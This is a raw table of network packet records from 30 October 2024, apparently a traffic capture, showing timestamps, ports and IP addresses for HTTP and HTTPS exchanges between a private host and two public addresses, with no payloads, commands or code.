Oct 30, 2024 21:56:35.546514034 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.546551943 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.546638012 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.546679020 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.546839952 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.546852112 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.546861887 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.546904087 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.546992064 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.547002077 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.547013044 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.547032118 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.547058105 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.547641993 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.547656059 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.547667027 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.547693968 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.547831059 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.547842979 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.547852993 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.547873974 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.547892094 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.548449993 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.548460960 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.548471928 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.548481941 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.548508883 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.548528910 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.548619986 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.548631907 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.548667908 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.549119949 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.562211990 CET	443	50249	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:35.562283993 CET	50249	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:35.564335108 CET	50249	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:35.564342976 CET	443	50249	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:35.567950010 CET	443	50249	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:35.569725037 CET	50249	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:35.570440054 CET	50249	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:35.571937084 CET	443	50249	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:35.572010040 CET	50249	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:35.572137117 CET	443	50249	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:35.594261885 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.697202921 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.697221041 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.697232008 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.697263956 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.697304964 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.697318077 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.697329044 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.697356939 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.697376966 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.697819948 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.697841883 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.697858095 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.697896957 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.697947979 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.697959900 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.697994947 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.698029041 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.698041916 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.698066950 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.698100090 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.698112011 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.698121071 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.698143005 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.698144913 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.698154926 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.698164940 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.698165894 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.698178053 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.698188066 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.698189974 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.698199987 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.698215008 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.698246956 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.699069023 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.699080944 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.699090958 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.699137926 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.699150085 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.699161053 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.699172020 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.699182034 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.699194908 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.699215889 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.699507952 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.699520111 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.699529886 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.699541092 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.699561119 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.699579954 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.700115919 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700128078 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700139046 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700154066 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.700180054 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.700180054 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700193882 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700205088 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700215101 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700232029 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.700258970 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.700392962 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700403929 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700417995 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700428009 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700438976 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700442076 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.700470924 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.700849056 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700860977 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700872898 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700882912 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700892925 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700901985 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700908899 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.700911045 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.700923920 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.700998068 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.701297998 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701308966 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701324940 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701342106 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701365948 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.701387882 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.701755047 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701766014 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701776028 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701786041 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701798916 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701808929 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701818943 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701844931 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.701877117 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.701894045 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701904058 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701915026 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701922894 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.701926947 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.701957941 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.702658892 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.702671051 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.702683926 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.702713013 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.702734947 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.702845097 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703365088 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703375101 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703387022 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703413010 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.703430891 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.703528881 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703547955 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703566074 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703574896 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703579903 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703584909 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703593016 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703598022 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703603983 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.703649044 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.704184055 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.704194069 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.704205036 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.704230070 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.704246998 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.704253912 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.704257965 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.704269886 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.704281092 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.704294920 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.704319000 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855262995 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855282068 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855305910 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855326891 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855340958 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855353117 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855355024 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855365038 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855376959 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855389118 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855398893 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855408907 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855421066 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855431080 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855443001 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855443001 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855460882 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855463982 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855484962 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855496883 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855503082 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855532885 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855545044 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855556011 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855570078 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855571985 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855582952 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855593920 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855601072 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855606079 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855618000 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855623007 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855629921 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855633974 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855649948 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855654955 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855665922 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855667114 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855678082 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855695963 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855704069 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855706930 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855717897 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855731010 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855741024 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855746031 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855756044 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855760098 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855767965 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855786085 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855788946 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855799913 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855813026 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855823994 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855829000 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855835915 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855846882 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855851889 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855861902 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855878115 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855899096 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.855947971 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.855962992 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.856009960 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.856045008 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.856057882 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.856069088 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.856081963 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.856091976 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.856096029 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.856108904 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.856120110 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.856126070 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.856132984 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.856146097 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.856172085 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.861896038 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.861907005 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.861920118 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.861931086 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.861974955 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862005949 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862018108 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862020016 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862030029 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862042904 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862055063 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862055063 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862068892 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862081051 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862099886 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862111092 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862112045 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862123966 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862134933 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862145901 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862148046 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862179041 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862236023 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862247944 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862257957 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862268925 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862282038 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862287998 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862293959 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862313032 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862328053 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862392902 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862411976 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862422943 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862432957 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862435102 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862447023 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862459898 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862464905 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862472057 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862484932 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862488031 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862495899 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862500906 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862540960 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862562895 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862575054 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862607956 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862736940 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862755060 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862766027 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862776995 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862787962 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862792015 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862801075 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862806082 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862817049 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862827063 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862827063 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862838984 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862839937 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862850904 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862862110 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862864971 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862875938 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862879038 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862890005 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.862891912 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.862925053 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863050938 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863063097 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863107920 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863125086 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863137007 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863147974 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863158941 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863172054 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863183022 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863184929 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863209963 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863218069 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863219023 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863233089 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863245010 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863279104 CET	50247	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:35.863445044 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863456011 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863467932 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863480091 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863492012 CET	80	50247	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:35.863492012 CET	50247	80	192.168.2.5	185.215.113.16
